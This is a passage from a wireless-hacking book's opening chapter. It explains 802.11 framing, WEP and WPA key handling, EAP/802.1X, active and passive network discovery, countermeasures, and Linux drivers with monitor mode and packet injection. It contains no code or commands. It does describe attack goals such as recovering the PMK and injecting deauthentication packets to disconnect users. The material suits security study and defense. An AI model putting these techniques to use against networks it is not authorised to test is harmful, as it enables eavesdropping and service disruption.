The	802.11	standard	defines	a	link-layer	wireless	protocol	and	is	managed	by	the	Institute
of	Electrical	and	Electronics	Engineers	(IEEE).	Many	people	think	of	Wi-Fi	when	they
hear	802.11,	but	they	are	not	quite	the	same	thing.	Wi-Fi	is	a	subset	of	the	802.11
standard,	which	is	managed	by	the	Wi-Fi	Alliance.	Because	the	802.11	standard	is	so
complex,	and	the	process	required	to	update	the	standard	so	involved	(it’s	run	by	a
committee),	nearly	all	of	the	major	wireless	equipment	manufacturers	decided	they	needed
a	smaller,	more	nimble	group	dedicated	to	maintaining	interoperability	among	vendors
while	promoting	the	technology	through	marketing	efforts.	This	resulted	in	the	creation	of
the	Wi-Fi	Alliance.

The	Wi-Fi	Alliance	ensures	that	all	products	with	a	Wi-Fi–certified	logo	work	together
for	a	given	set	of	functions.	This	way,	if	any	ambiguity	in	the	802.11	standard	crops	up,
the	Wi-Fi	Alliance	defines	the	“right	thing”	to	do.	The	alliance	also	allows	vendors	to
implement	important	subsets	of	draft	standards	(standards	that	have	not	yet	been	ratified).
The	most	well-known	example	of	this	is	Wi-Fi	Protected	Access	(WPA)	or	“draft”
802.11n	equipment.

	

An	expanded	version	of	this	introduction,	which	covers	a	great	deal	more	detail
surrounding	the	nuances	of	the	802.11	specification,	is	available	in	Bonus	Chapter	1	at	the

book’s	companion	website	http://www.hackingexposedwireless.com.	

The	Basics
Most	people	know	that	802.11	provides	wireless	access	to	wired	networks	with	the	use	of
an	access	point	(AP).	In	what	is	commonly	referred	to	as	ad-hoc	or	Independent	Basic
Service	Set	(IBSS)	mode,	802.11	can	also	be	used	without	an	AP.	Because	those	concerned
about	wireless	security	are	not	usually	talking	about	ad-hoc	networks,	and	because	the
details	of	the	802.11	protocol	change	dramatically	when	in	ad-hoc	mode,	this	section
covers	running	802.11	in	infrastructure	mode	(with	an	AP),	unless	otherwise	specified.

The	802.11	standard	divides	all	packets	into	three	different	categories:	data,
management,	and	control.	These	different	categories	are	known	as	the	packet	type.	Data
packets	are	used	to	carry	higher-level	data	(such	as	IP	packets).	Management	packets	are
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probably	the	most	interesting	to	attackers;	they	control	the	management	of	the	network.
Control	packets	get	their	name	from	the	term	“media	access	control.”	They	are	used	for
mediating	access	to	the	shared	medium.

Any	given	packet	type	has	many	different	subtypes.	For	instance,	Beacons	and
Deauthentication	packets	are	both	examples	of	management	packet	subtypes,	and	Request
to	Send	(RTS)	and	Clear	to	Send	(CTS)	packets	are	different	control	packet	subtypes.

Addressing	in	802.11	Packets
Unlike	Ethernet,	most	802.11	packets	have	three	addresses:	a	source	address,	a	destination
address,	and	a	Basic	Service	Set	ID	(BSSID).	The	BSSID	field	uniquely	identifies	the	AP
and	its	collection	of	associated	stations,	and	is	often	the	same	MAC	address	as	the
wireless	interface	on	the	AP.	The	three	addresses	tell	the	packets	where	they	are	going,
who	sent	them,	and	what	AP	to	go	through.

Not	all	packets,	however,	have	three	addresses.	Because	minimizing	the	overhead	of
sending	control	frames	(such	as	acknowledgments)	is	so	important,	the	number	of	bits
used	is	kept	to	a	minimum.	The	IEEE	also	uses	different	terms	to	describe	the	addresses	in
control	frames.	Instead	of	a	destination	address,	control	frames	have	a	receiver	address,
and	instead	of	a	source	address,	they	have	a	transmitter	address.

The	following	illustration	shows	a	typical	data	packet	dissected	in	Wireshark.

Don’t	get	confused	by	the	“Receiver”	and	“Transmitter”	addresses	displayed	by
Wireshark.	All	802.11	data	packets	have	three	addresses	(destination,	source,	and	BSSID),
not	five.	Wireshark	recently	started	letting	you	refer	to	“Source”	as	“Transmitter”	and
“Destination”	as	“Receiver”	to	provide	a	level	of	compatibility	between	filters	that	work
on	control	and	data	frames.

802.11	Security	Primer
If	you	are	reading	this	book,	then	you	are	probably	already	aware	that	there	are	two	very
different	encryption	techniques	used	to	protect	802.11	networks:	Wired	Equivalency
Protocol	(WEP)	and	Wi-Fi	Protected	Access	(WPA).	WEP	is	the	older,	extremely
vulnerable	standard.	WPA	is	much	more	modern	and	resilient.	WEP	networks	(usually)
rely	on	a	static	40-or	104-bit	key	that	is	known	on	each	client.	This	key	is	used	to	initialize
a	stream	cipher	(RC4).	Many	interesting	attacks	are	practical	against	RC4	in	the	way	it	is



utilized	within	WEP.	These	attacks	are	covered	in	Chapter	3.	WPA	can	be	configured	in
two	very	different	modes:	pre-shared	key	(or	passphrase)	and	enterprise	mode.	Both	are
briefly	explained	next.

WPA	Pre-Shared	Key
WPA	Pre-Shared	Key	(WPA-PSK)	works	in	a	similar	way	to	WEP,	as	it	requires	the
connecting	party	to	provide	a	key	in	order	to	access	the	wireless	network.	However,	that’s
where	the	similarities	end.	Figure	1-1	shows	the	WPA-PSK	authentication	process.	This
process	is	known	as	the	four-way	handshake.

Figure	1-1	A	successful	four-way	handshake

The	pre-shared	key	(i.e.,	passphrase)	can	be	anywhere	between	8	and	63	printable
ASCII	characters	long.	The	encryption	used	with	WPA	relies	on	a	pairwise	master	key



(PMK),	which	is	computed	from	the	pre-shared	key	and	SSID.	Once	the	client	has	the
PMK,	it	and	the	AP	negotiate	a	new,	temporary	key	called	the	pairwise	transient	key
(PTK).	These	temporary	keys	are	created	dynamically	every	time	the	client	connects	and
are	changed	periodically.	They	are	a	function	of	the	PMK,	a	random	number	(supplied	by
the	AP,	called	an	A-nonce),	another	random	number	(supplied	by	the	client,	called	an	S-
nonce),	and	the	MAC	addresses	of	the	client	and	AP.	The	reason	the	keys	are	created	from
so	many	variables	is	to	ensure	they	are	unique	and	nonrepeating.

The	AP	verifies	the	client	actually	has	the	PMK	by	checking	the	Message	Integrity
Code	(MIC)	field	during	the	authentication	exchange.	The	MIC	is	a	cryptographic	hash	of
the	packet	(mixed	with	the	PTK/PMK)	that	is	used	to	prevent	tampering	and	to	verify	the
client	has	the	key.	If	the	MIC	is	incorrect,	that	means	the	PTK	and	the	PMK	are	incorrect
because	the	PTK	is	derived	from	the	PMK.

When	attacking	WPA,	you	are	most	interested	in	recovering	the	PMK.	If	the	network
is	set	up	in	pre-shared	key	mode,	the	PMK	allows	you	to	read	all	the	other	clients’	traffic
(with	some	finagling)	and	to	authenticate	yourself	successfully.

Although	WPA-PSK	has	similar	use	cases	as	traditional	WEP	deployments,	it	should
only	be	used	in	home	or	small	offices.	Since	the	pre-shared	key	is	all	that’s	needed	to
connect	to	the	network,	if	an	employee	on	a	large	network	leaves	the	company,	or	a	device
is	stolen,	the	entire	network	must	be	reconfigured	with	a	new	key.	Instead,	WPA
Enterprise	should	be	used	in	most	organizations,	as	it	provides	individual	authentication,
which	allows	greater	control	over	who	can	connect	to	the	wireless	network.

A	Rose	by	Any	Other	Name:	WPA,	WPA2,	802.11i,	and
802.11-2007
Astute	readers	may	have	noticed	that	we	are	throwing	around	the	term	WPA	when,	in
fact,	WPA	was	an	interim	solution	created	by	the	Wi-Fi	Alliance	as	a	subset	802.11i
before	it	was	ratified.	After	802.11i	was	ratified	and	subsequently	merged	into	the
802.11	specification,	technically	speaking,	most	routers	and	clients	now	implement	the
enhanced	security	found	in	802.11-2007.	Rather	than	get	bogged	down	in	the	minutiae
of	the	differences	among	the	versions,	or	redundantly	referring	to	the	improved
encryption	as	“the	improved	encryption	previously	known	as	WPA/802.11i,”	we	will
just	keep	using	the	WPA	terminology.

WPA	Enterprise
When	authenticating	to	a	WPA-based	network	in	enterprise	mode,	the	PMK	is	created
dynamically	every	time	a	user	connects.	This	means	that	even	if	you	recover	a	PMK,	you
could	impersonate	a	single	user	for	a	specific	connection.

In	WPA	Enterprise,	the	PMK	is	generated	at	the	authentication	server	and	then
transmitted	down	to	the	client.	The	AP	and	the	authentication	server	speak	over	a	protocol
called	RADIUS.	The	authentication	server	and	the	client	exchange	messages	using	the	AP
as	a	relay.	The	server	ultimately	makes	the	decision	to	accept	or	reject	the	user,	whereas
the	AP	is	what	facilitates	the	connection	based	on	the	authentication	server’s	decision.



Since	the	AP	acts	as	a	relay,	it	is	careful	to	forward	only	packets	from	the	client	that	are
for	authentication	purposes	and	will	not	forward	normal	data	packets	until	the	client	is
properly	authenticated.

Assuming	authentication	is	successful,	the	client	and	the	authentication	server	both
derive	the	same	PMK.	The	details	of	how	the	PMK	is	created	vary	depending	on	the
authentication	type,	but	the	important	thing	is	that	it	is	a	cryptographically	strong	random
number	both	sides	can	compute.	The	authentication	server	then	tells	the	AP	to	let	the	user
connect	and	also	sends	the	PMK	to	the	AP.	Because	the	PMKs	are	created	dynamically,
the	AP	must	remember	which	PMK	corresponds	to	which	user.	Once	all	parties	have	the
PMK,	the	AP	and	client	engage	in	the	same	four-way	handshake	illustrated	in	Figure	1-1.
This	process	confirms	the	client	and	AP	have	the	correct	PMKs	and	can	communicate
properly.	Figure	1-2	shows	the	enterprise-based	authentication	process.



Figure	1-2	Enterprise-based	WPA	authentication

EAP	and	802.1X
In	Figure	1-2,	you	probably	noticed	that	many	packets	have	EAP	in	them.	EAP	stands	for
Extensible	Authentication	Protocol.	Basically,	EAP	is	a	protocol	designed	to	carry
arbitrary	authentication	protocols—sort	of	an	authentication	meta-protocol.	EAP	allows
devices,	such	as	APs,	to	be	ignorant	of	specific	authentication	protocol	details.

IEEE	802.1X	is	a	protocol	designed	to	authenticate	users	on	wired	LANs.	The	802.1X
protocol	leverages	EAP	for	authentication,	and	WPA	uses	802.1X.	When	the	client	sends



authentication	packets	to	the	AP,	it	uses	EAP	over	LAN,	or	EAPOL,	a	standard	specified	in
the	802.1X	documentation.	When	the	AP	talks	to	the	authentication	server,	it	encapsulates
the	body	of	the	EAP	authentication	packet	in	a	RADIUS	packet.

With	WPA	Enterprise,	all	the	AP	does	is	pass	EAP	messages	back	and	forth	between
the	client	and	the	authentication	(i.e.,	RADIUS)	server.	Eventually,	the	AP	expects	the
RADIUS	server	to	let	it	know	whether	to	let	you	in.	It	does	this	by	looking	for	an	EAP
Success	or	EAP	Failure	message.

As	you	might	have	guessed,	quite	a	few	different	authentication	techniques	are
implemented	on	top	of	EAP.	Some	of	the	most	popular	are	EAP-TLS	(certificate-based
authentication)	and	PEAP.	The	details	of	these	and	how	to	attack	them	are	covered	in
Chapter	4.

Generally	speaking,	understanding	where	802.1X	ends,	EAP/EAPOL	begins,	and
RADIUS	comes	into	play	is	not	important.	However,	it	is	important	to	know	that	when
using	enterprise	authentication,	the	client	and	the	authentication	server	send	each	other
specially	formatted	authentication	packets.	To	do	this,	the	AP	must	proxy	messages	back
and	forth	until	the	authentication	server	tells	the	AP	to	stop	or	to	allow	the	client	access.	A
diagram	illustrating	this	protocol	stack	is	shown	here.	To	network	administrators	who	have
implemented	802.1X	port	security	on	an	Ethernet	network,	this	diagram	should	look	very
familiar.	If	you	replace	the	AP	with	an	802.1X-aware	switch,	it	would	be	identical.

Discovery	Basics
Before	you	can	attack	a	wireless	network,	you	need	to	find	one.	Quite	a	few	different	tools
are	available	to	accomplish	this,	but	they	all	fall	into	one	of	two	major	categories:	passive
or	active.	Passive	tools	are	designed	to	monitor	the	airwaves	for	any	packets	on	a	given
channel.	They	analyze	the	packets	to	determine	which	clients	are	talking	to	which	access
points.	Active	tools	are	more	rudimentary	and	send	out	probe	request	packets	hoping	to	get
a	response.	Knowing	and	choosing	your	tools	is	an	important	step	in	auditing	any	wireless
network.	This	section	covers	the	basic	principles	of	the	software	and	hardware	required
for	network	discovery,	along	with	some	practical	concerns	for	war	driving.	The	next
chapter	will	delve	into	the	details	of	the	major	tools	available	today.	First,	you	should



understand	the	basics	of	active	and	passive	scanning	to	discover	wireless	networks.

Active	Scanning

Tools	that	implement	active	scanning	periodically	send	out	probe	request	packets.
These	packets	are	used	by	clients	whenever	they	are	looking	for	a	network.	Clients	may
send	out	targeted	probe	requests	(“Network	X,	are	you	there?”),	as	shown	in	Figure	1-3.
Or	they	may	send	out	broadcast	probe	requests	(“Hello,	is	anyone	there?”),	as	shown	in
Figure	1-4.	Probe	requests	are	one	of	two	techniques	the	802.11	standard	specifies	for
clients	to	use	when	looking	for	a	network	to	associate	with.	Clients	can	also	use	beacons
to	find	a	network.

Figure	1-3	A	directed	probe	request—note	the	addition	of	an	SSID	parameter.



Figure	1-4	A	typical	broadcast	probe	request	packet

Access	points	send	out	beacon	packets	every	tenth	of	a	second.	Each	packet	contains
the	same	set	of	information	that	would	be	in	a	probe	response,	including	name,	address,
supported	rates,	and	so	on.	Because	these	packets	are	readily	available	to	anyone	listening,
it	probably	seems	like	most	active	scanners	would	be	able	to	process	them;	however,	this
is	not	always	true.	In	some	cases,	active	scanners	can	access	beacon	packets,	but	not
always.	The	details	depend	on	the	scanner	in	use	and	the	driver	controlling	the	wireless
card.	The	major	drawback	of	active	scanners	is	that	outside	of	probe	requests	(and
possibly	beacons),	they	cannot	see	any	other	wireless	traffic.

Most	operating	systems	will	utilize	active	scanning	when	looking	for	networks	to	join.
They	typically	do	this	periodically,	as	well	as	in	response	to	users	requesting	an	update.
Where	operating	systems	differ	is	whether	they	send	out	directed	probe	requests.	Previous
to	Windows	XP	SP2,	clients	commonly	transmitted	directed	probes	for	all	of	the	SSIDs
they	were	interested	in	connecting	to,	which	is	typically	all	of	the	APs	stored	in	the	user’s
preferred	network	list.	Later,	OS	vendors	refined	their	scanning	techniques	to	send	only
directed	probes	when	necessary.

Most	tools	that	implement	active	scanning	will	only	be	able	to	locate	networks	that
your	operating	system	could	have	found	on	its	own	(in	other	words,	the	ones	that	show	up
on	your	list	of	available	networks),	putting	them	at	a	significant	disadvantage	to	tools	that
implement	passive	scanning.

Sniffers,	Stumblers,	and	Scanners,	Oh	My
The	terminology	related	to	wireless	tools	can	be	a	bit	overwhelming.	Generally
speaking,	most	tools	that	implement	active	scanning	are	called	stumblers,	whereas	tools
that	implement	passive	scanning	(more	on	this	shortly)	are	called	scanners.	However,	a
stumbler	is	generally	considered	to	be	a	“scanning	tool”	(even	if	not	technically	a
scanner).	Sniffers	are	network	monitoring	tools	that	are	not	specifically	related	to
wireless	networking.	A	sniffer	is	simply	a	tool	that	shows	you	all	the	packets	the
interface	sees.	A	sniffer	is	an	application	program.	If	a	wireless	driver	or	card	doesn’t
give	the	packet	to	the	sniffer	to	process,	the	sniffer	can’t	do	anything	about	it.

Passive	Scanning	(Monitor	Mode)

Tools	that	implement	passive	scanning	generate	considerably	better	results	than	tools
that	use	active	scanning.	Passive	scanning	tools	don’t	transmit	packets	themselves;
instead,	they	listen	to	all	the	packets	on	a	given	channel	and	then	analyze	those	packets	to
see	what’s	going	on.	These	tools	have	a	much	better	view	of	the	surrounding	network(s).



In	order	to	do	this,	however,	the	wireless	card	needs	to	support	what	is	known	as	monitor
mode.

Putting	a	wireless	card	into	monitor	mode	is	similar	to	putting	a	normal	wired	Ethernet
card	into	promiscuous	mode.	In	both	cases,	you	see	all	the	packets	going	across	the	“wire”
(or	channel).	A	key	difference,	however,	is	that	when	you	put	a	wired	card	into
promiscuous	mode,	you	are	sure	to	see	traffic	only	on	the	network	you	are	plugged	into.
This	is	not	the	case	with	wireless	cards.	Because	the	2.4-GHz	spectrum	is	unlicensed,	it	is
a	shared	medium,	which	means	you	can	have	multiple	overlapping	networks	using	the
same	channel.	If	you	and	your	neighbor	share	the	same	channel,	when	you	put	your	card
into	monitor	mode	to	see	what’s	going	on	in	your	network,	you	will	see	her	traffic	as	well.

Another	key	difference	between	wireless	cards	and	wired	cards	is	that	promiscuous
mode	on	an	Ethernet	card	is	a	standard	feature.	Monitor	mode	on	a	wireless	card	is	not
something	you	can	take	for	granted.	For	a	given	card	to	support	monitor	mode,	two	things
must	happen.	First,	the	chipset	in	the	card	itself	must	support	this	mode	(more	on	this	in
the	“Chipsets	and	Linux	Drivers”	section,	later	in	this	chapter).	Second,	the	driver	that	you
are	using	for	the	card	must	support	monitor	mode	as	well.	Clearly,	choosing	a	card	that
supports	monitor	mode	(perhaps	across	more	than	one	operating	system)	is	an	important
first	step	for	any	would-be	wireless	hacker.

A	short	description	of	how	passive	scanners	work	might	help	to	dispel	some	of	the
magic	behind	them.	The	basic	structure	of	any	tool	that	implements	passive	scanning	is
straightforward.	First,	it	either	puts	the	wireless	card	into	monitor	mode	or	assumes	that
the	user	has	already	done	this.	Then	the	scanner	sits	in	a	loop,	reading	packets	from	the
card,	analyzing	them,	and	updating	the	user	interface	as	it	determines	new	information.

For	example,	when	the	scanner	sees	a	data	packet	containing	a	new	BSSID,	it	updates
the	display.	When	a	packet	comes	along	that	can	tie	an	SSID	(network	name)	to	the
BSSID,	it	will	update	the	display	to	include	the	name.	When	the	scanner	sees	a	new
beacon	frame,	it	simply	adds	the	new	network	to	its	list.	Passive	tools	can	also	analyze	the
same	data	that	active	tools	do	(probe	responses);	they	just	don’t	send	out	probe	requests
themselves.

	Active	Scanning	Countermeasures
Evading	an	active	scanner	is	relatively	simple,	but	it	has	a	major	downside	(covered
shortly).	Because	active	scanners	only	process	two	types	of	packets—probe	replies	and
beacons—the	AP	has	to	implement	two	different	techniques	to	hide	from	an	active	scanner
effectively.

The	first	technique	consists	of	not	responding	to	probe	requests	that	are	sent	to	the
broadcast	SSID.	If	the	AP	sees	a	probe	request	directed	at	it	(if	it	contains	its	SSID),	then
it	responds.	If	this	is	the	case,	then	the	user	already	knows	the	name	of	the	network	and	is
just	looking	to	connect.	If	the	probe	request	is	sent	to	the	broadcast	SSID,	the	AP	ignores
it.

If	an	AP	were	not	to	respond	to	broadcast	probe	requests	but	could	still	transmit	its
name	inside	beacon	packets,	it	would	hardly	be	considered	well	hidden.	Generally,	when



an	access	point	is	configured	not	to	respond	to	broadcast	probe	requests,	it	will	also
“censor”	its	SSID	in	beacon	packets.	Access	points	that	do	this	include	the	SSID	field	in
the	beacon	packet	(it’s	mandatory	according	to	the	standard);	however,	they	simply	insert
a	few	null	bytes	in	place	of	the	SSID.

Both	of	these	abilities	are	built	in	to	most	APs.	Sometimes	this	feature	is	called
“hidden”	mode.	Other	times	vendors	simply	have	a	checkbox	labeled	“Broadcast	SSID.”
Generally,	the	AP	provides	only	one	switch	to	disable	broadcast	probe	responses	as	well	as
censor	the	SSID	field	in	beacons—because	one	without	the	other	is	very	ineffective.

You	might	think	that	perhaps	the	best	way	to	hide	an	AP	would	be	to	disable	beacons
altogether.	This	way,	the	only	time	there	is	traffic	on	the	network	is	when	clients	are
actually	using	it.	Actually,	you	can’t	disable	beacons	completely;	the	beacon	packets	that
an	AP	transmits	have	functions	other	than	simply	advertising	the	network.	If	an	AP
doesn’t	transmit	some	sort	of	beacon	at	a	fixed	interval,	the	entire	network	breaks	down.

Don’t	forget,	if	an	active	scanner	can’t	figure	out	the	name	of	a	network,	then
legitimate	clients	can’t	either.	Running	a	network	in	“hidden”	mode	requires	more
maintenance	(or	user	know-how)	on	end-user	stations.	In	particular,	users	must	know	what
network	they	are	interested	in	and	somehow	input	its	name	into	their	operating	system.

	

Running	a	network	in	hidden	mode	forces	clients	to	transmit	directed	probe	requests,
opening	them	up	to	client-side	attacks	that	imitate	the	probed	network.

Now	for	the	bad	news.	Although	this	feature	is	widely	implemented	by	many	vendors,
it	is	hard	to	recommend	enabling	it.	Recent	versions	of	Windows	and	OS	X	avoid
transmitting	directed	probe	requests	unless	they	know	that	the	network	they	are	looking
for	is	hidden.	By	enabling	the	“hidden”	feature	on	your	AP,	you	are	probably
mismanaging	risks.	You’re	making	it	hard	for	active	scanners	to	find	you,	but	only
marginally	harder	for	passive	scanners.	In	exchange	for	this,	you	are	forcing	your	clients
to	transmit	directed	probe	requests	every	time	their	laptop	wakes	up	from	sleep,	which	an
attacker	can	take	advantage	of	at	coffee	shops	and	so	on.	By	not	broadcasting	SSID
information,	you	are	making	the	lives	of	low-skilled	attackers	marginally	harder,	but
you’re	giving	a	hand	to	more	skilled	attackers.

	Passive	Scanning	Countermeasures
Evading	a	passive	scanner	is	an	entirely	different	problem	than	evading	an	active	scanner.
If	you	are	transmitting	anything	on	a	channel,	a	passive	scanner	will	see	it.	You	can	take	a
few	practical	precautions	to	minimize	exposure,	however.	First,	consider	what	happens
when	the	precautions	taken	for	active	scanners	are	enabled.	When	a	passive	scanner
comes	across	a	hidden	network,	the	scanner	will	see	the	censored	beacon	packets	and
know	that	a	network	is	in	the	area;	however,	it	will	not	know	the	network’s	SSID.	Details
on	how	to	get	the	name	of	a	hidden	network	when	using	a	passive	scanner	are	covered	in
Chapter	2.



If	your	AP	supports	it,	and	you	have	no	legacy	802.11b/g	clients,	disable	mixed	mode
on	your	AP	and	go	strictly	with	802.11n	or	better.	This	mode	causes	all	data	packets	the
AP	transmits	to	use	802.11n	encoding.	Unfortunately,	beacons	and	probe	responses	are
usually	sent	with	802.11b	encoding,	but	not	giving	up	data	packets	to	all	the	war	drivers
who	are	still	using	b/g	cards	is	a	good	idea.

The	other	option	is	to	put	your	network	into	the	5-GHz	802.11a	band.	Many	war
drivers	don’t	bother	scanning	this	range	because	most	networks	operate	at	2.4	GHz,	and
the	attackers	only	want	to	buy	one	set	of	antennas.	Cards	that	support	this	range	are	also
more	expensive.

Finally,	turning	the	power	down	on	your	radio	combined	with	intelligent	antenna
placement	can	do	a	lot	to	minimize	the	range	of	your	signal.	Of	course,	none	of	these
precautions	can	keep	your	network	hidden	from	anyone	who	can	get	within	a	few	hundred
feet	of	your	AP	and	who	is	seriously	interested	in	finding	it.

Frequency	Analysis	(Below	the	Link	Layer)

A	card	in	monitor	mode	will	let	you	see	all	of	the	802.11	traffic	on	a	given	channel,
but	what	if	you	want	to	look	at	a	lower	level?	What	if	you	simply	want	to	see	if	anything
is	operating	at	a	given	frequency	(or	802.11	channel)?	Maybe	you	think	your	neighbor
somehow	shifted	his	network	onto	channel	13	(something	you	shouldn’t	be	able	to	do	for
legal	reasons	inside	the	United	States),	and	you	want	to	know	for	certain	so	you	can	ask
how	he	did	it.	Maybe	you	want	to	know	exactly	where	your	(or,	perhaps	more	importantly,
your	neighbor’s)	microwave,	cordless	phone,	baby	monitor,	and	so	on	is	throwing	out
noise	so	you	can	relocate	your	network	accordingly.

Tools	designed	to	measure	the	amount	of	energy	on	a	given	frequency	are	known	as
spectrum	analyzers.	Stand-alone	spectrum	analyzers	cost	thousands	of	dollars	and	are
intended	for	professional	engineers.	They	are	so	expensive	because	they	can	usually	be
tuned	across	a	very	wide	band	of	frequencies.	But	802.11	only	runs	in	the	2.4-	and	5-GHz
bands.	Companies	have	realized	that	there	is	a	niche	market	for	providing	low-end
spectrum	analyzers	tuned	specifically	to	these	ranges	to	help	diagnose	interference	with
802.11.

The	original	player	in	this	field,	MetaGeek,	created	a	USB-based	dongle	(Wi-Spy)	that
talks	to	a	software	application.	The	application	performs	analysis	and	provides	the	user
interface.	Currently,	the	cheapest	offering	from	MetaGeek	(Wi-Spy	mini	+	inSSIDer
office)	comes	in	at	$200,	with	the	more	professional	setup	(which	includes	5-GHz
support)	checking	in	at	$850.

Recently,	a	company	called	Oscium	decided	to	get	into	this	market	as	well.	Oscium



offers	a	hardware-based	dongle	that	will	allow	your	iPad/iPhone	to	act	as	a	spectrum
analyzer	(2.4–2.5	GHz)	and	(optionally)	a	power	meter	(from	100	MHz	to	2.7	GHz).	The
device	(called	the	WiPry)	supports	both	30-pin	connectors	and	the	new	lightning	interface
(adapter	required).	Readers	can	get	their	hands	on	an	entry-level	WiPry	from	Oscium	for
$100	less	than	the	current	entry-level	Wi-Spy).	The	following	illustration	shows	the	WiPry
visualizing	traffic	on	802.11	channel	13,	which	is	outside	the	legal	range	of	802.11	in	the
United	States.

If	you	want	to	play	with	a	2.4-GHz	spectrum	analyzer,	you’ll	find	it	hard	to	beat	the
WiPry.	It’s	cheaper	than	the	Wi-Spy	(assuming	you	already	have	an	iPhone	or	similar);	the
user	interface	is	more	responsive;	and	the	mobile	form-factor	makes	it	that	much	more
convenient.	Readers	interested	in	the	WiPry	product	line	can	get	more	details	at
http://www.oscium.com.

	Frequency	Analysis	Countermeasures
The	only	real	solution	to	preventing	your	traffic	from	being	seen	using	a	2.4-/5-GHz
frequency	analyzer	is	to	start	running	a	lot	of	cables.	Although	well-planned	antenna
placement	can	help,	the	fact	that	802.11	networks	transmit	power	on	known	frequencies
means	they	will	always	be	visible	to	low-level	tools	such	as	these.

Hardware	and	Drivers
The	tools	you	use	are	only	as	good	as	the	hardware	they	are	running	on,	but	the	best
wireless	card	and	chipset	in	the	world	is	useless	if	the	driver	controlling	it	has	no	idea	how
to	make	it	do	what	you	want.

This	section	introduces	you	to	the	currently	available	drivers,	the	chipsets	that	they
control,	and	the	cards	that	have	the	chipsets	in	them.	We’ve	placed	a	strong	emphasis	on
Linux	drivers,	because	this	is	where	most	of	the	development	is	currently	happening.

A	Note	on	the	Linux	Kernel
The	Linux	kernel	has	gotten	quite	a	bad	rap	regarding	wireless	support.	What	has
happened	is	that	older	generations	of	chipsets	each	provided	their	own	standalone	driver.
This	had	the	advantage	in	that	each	driver	was	an	island	unto	itself,	and	it	didn’t	share	any
dependencies	with	any	other	driver.	Given	the	amount	of	bluster	that	permeates	the	tone	of
Linux	kernel	development,	the	less	independent	groups	need	to	work	together,	the	better
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off	everybody	is.

Of	course,	the	big	downside	to	this	is	that	each	driver	was	carrying	around	thousands
of	lines	of	code,	each	of	which	was	being	reimplemented	in	other	drivers.	If	driver	writers
had	some	sort	of	standardized	API	they	could	call	to	handle	issues	such	as	authentication,
configuration,	and	channel	selection,	then	their	jobs	would	get	easier,	and	the	core	of	this
code	could	be	maintained	with	much	less	work.

This	library	of	shared	code	is	called	an	802.11	stack.	Linux	developers	thought	it	was
such	a	good	idea	that	they	implemented	it	twice.	Or	maybe	three	times,	depending	on	how
you	want	to	count.	At	any	rate,	there	was	a	period	of	extreme	churn,	when	the	writers	who
wanted	their	drivers	to	be	included	in	the	main	tree	were	writing	and	then	rewriting	them.
Eventually,	things	started	to	calm	down.	Mac80211	turned	out	to	be	the	winner	in	the	great
802.11	stack	wars,	whereas	the	other	contenders	(notably	ieee80211)	have	been	consigned
to	the	great	trash	heap	known	as	deprecation.

Since	there	is	now	only	one	standardized	Linux	802.11	stack,	many	of	the	older
standalone	drivers	(no	802.11	stack	dependencies)	have	been	rewritten	and	merged	into
the	tree.	This	means	that	although	there	are	still	some	older	legacy	drivers	(with	patches
optimized	for	specific	wireless	attacks),	run-of-the-mill	wireless	hacking	can	be
accomplished	without	any	modifications	to	your	kernel.

Specifically,	all	of	the	attacks	launched	within	this	book	will	be	performed	with	a
stock,	in-tree,	mac80211-utilizing	driver.	Attacks	that	require	features	that	can’t	be	found
in	an	unpatched	mac80211	driver	(such	as	ath9k	or	iwlwifi)	will	be	explicitly	called	out	at
that	point	in	the	book,	allowing	the	reader	to	follow	along	with	the	vast	majority	of	attacks
without	having	to	dig	in	and	provide	a	patched	driver.	Unless	otherwise	noted,	the	attacks
in	this	book	should	run	on	any	unmodified	kernel	later	than	3.3.8.

Chipsets	and	Linux	Drivers
Every	card	has	a	chipset.	Although	hundreds	of	unique	cards	are	on	the	market,	only	a
handful	of	chipsets	are	available.	Most	cards	that	share	a	chipset	can	(and	usually	do)	use
the	same	driver.	Different	cards	with	the	same	chipset	look	pretty	much	identical	to
software.	The	only	real	difference	is	what	sort	of	power	output	the	card	has	or	the	type	and
availability	of	an	antenna	jack.	Deciding	which	chipset	you	want	is	the	first	step	in
deciding	which	card	to	buy.

	

Many	cards	advertise	support	for	certain	features,	such	as	802.11n	and	802.11ac.	Keep	in
mind	that	utilizing	these	features	requires	the	cooperation	of	both	hardware	(the	chipset)
and	software	(the	driver).	Many	Linux	drivers	are	behind	the	curve	on	cutting-edge
features	(particularly	when	it	comes	to	802.11ac).	Be	sure	to	double-check	driver	support
if	you	are	concerned	about	compatibility	with	new	features.



Specific	Features	You	Want	in	a	Driver
Any	wireless	driver	has	two	very	desirable	features.	Clearly,	the	most	important	of	these	is
monitor	mode	(discussed	previously	in	the	“Passive	Scanning	(Monitor	Mode)”	section).
The	other	feature	requiring	driver	cooperation	is	packet	injection.	Packet	injection	refers
to	the	ability	to	transmit	(mostly)	arbitrary	packets.	This	ability	is	what	allows	you	to
replay	traffic	on	a	network,	speeding	up	statistical	attacks	against	WEP.	It	is	also	what
allows	you	to	inject	deauthentication	packets—packets	that	are	used	to	kick	users	off	an
AP.	Packet	injection	is	discussed	next.

Packet	Injection
Packet	injection	was	first	made	possible	many	years	ago	with	a	tool	released	by	Abaddon
called	AirJack.	AirJack	was	a	driver	that	worked	with	Prism2	chips	and	a	set	of	utilities
that	used	it.	In	the	years	since	AirJack’s	invention,	packet	injection	has	made	it	into
mainstream	drivers,	so	patching	in	support	is	usually	unnecessary.

In	fact,	injection	support	has	come	so	far	that	two	different	userland	APIs	can	now	be
used	by	applications	to	perform	wireless	packet	injection	in	a	cross-driver	kind	of	way.
The	first	API	that	was	written	and	released	is	known	as	LORCON,	or	Loss	Of	Radio
Connectivity.	This	library	has	since	been	updated	to	LORCON2.

The	other	injection	library	is	called	osdep	and	is	utilized	by	newer	versions	of
Aircrack-ng.	It	is	unfortunate	that	there	are	now	two	libraries	to	accomplish	the	same
thing.	Perhaps,	however,	this	is	simply	a	sign	of	maturity	in	the	open	source	world.
Otherwise,	we	wouldn’t	have	GNOME	and	KDE,	Alsa	and	OSS,	Wayland,	Mir,	and
Xorg,	right?	Choice	is	the	biggest	freedom	open	source	gives	us.	Just	ask	RMS	(Richard
Stallman,	founder	of	the	Free	Software	Foundation);	that	is,	assuming	you	can	find	time	to
shoot	him	an	email.	You’re	probably	too	busy	choosing	exactly	which	window
manager/email	notifier	is	right	for	you	and	wondering	why	it	isn’t	actively	maintained
anymore.

At	any	rate,	both	LORCON	and	osdep	provide	a	convenient	API	for	application
developers	to	transmit	packets	without	being	tied	to	a	particular	driver.	Before	mac80211
was	widely	supported,	getting	injection	to	work	was	a	much	bigger	problem.	Now	most
